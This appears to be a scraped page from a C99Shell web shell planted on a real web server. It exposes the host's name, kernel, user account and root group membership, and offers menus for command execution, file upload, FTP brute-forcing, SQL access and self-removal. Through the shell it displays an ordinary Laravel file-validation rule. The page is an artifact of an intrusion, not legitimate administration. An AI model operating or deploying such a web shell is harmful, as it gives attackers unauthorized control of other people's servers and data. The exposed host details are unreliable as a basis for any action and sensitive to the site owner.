!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Rules/   drwxr-xr-x
Free 23.9 GB of 117.98 GB (20.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CheckValidFile.php (1.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Rules;

use 
Illuminate\Contracts\Validation\Rule;

class 
CheckValidFile implements Rule
{
    
/**
     * Set error message.
     *
     * @param string $errorMessage
     * @var string
     */
    
protected $errorMessage;

    
/**
     * Allowed file extention.
     *
     * @var array
     */
    
protected $allowFile;

    
/**
     * Check maximum file size
     *
     * @var bool
     */
    
protected $checkMaxFileSize;

    
/**
     * Set $allowFile and $checkMaxFileSize.
     *
     * @param  array  $allowFile
     * @param  bool  $checkMaxFileSize
     * @return void
     */
    
public function __construct(array $allowFile = [], bool $checkMaxFileSize true)
    {
        
$this->allowFile $allowFile;
        
$this->checkMaxFileSize $checkMaxFileSize;
    }

    
/**
     * Determine if the validation rule passes.
     *
     * @param string $attribute
     * @param  mixed  $value
     * @return bool
     */
    
public function passes($attribute$value)
    {
        
$isValid in_array($value->getClientOriginalExtension(), $this->allowFile) ? true false;

        if (
$isValid == false) {
            
$this->errorMessage __('Allowed File Extensions: ') . implode(", "$this->allowFile);
            return 
false;
        }

        if (
$this->checkMaxFileSize) {
            
$maxFileSize maxFileSize($_FILES[$attribute]["size"]);
            if (
$maxFileSize['status'] == 0) {
                
$this->errorMessage $maxFileSize['message'];
                return 
false;
            }
        }

        return 
true;
    }

    
/**
     * Get the validation error message.
     *
     * @return string
     */
    
public function message()
    {
        return 
$this->errorMessage;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--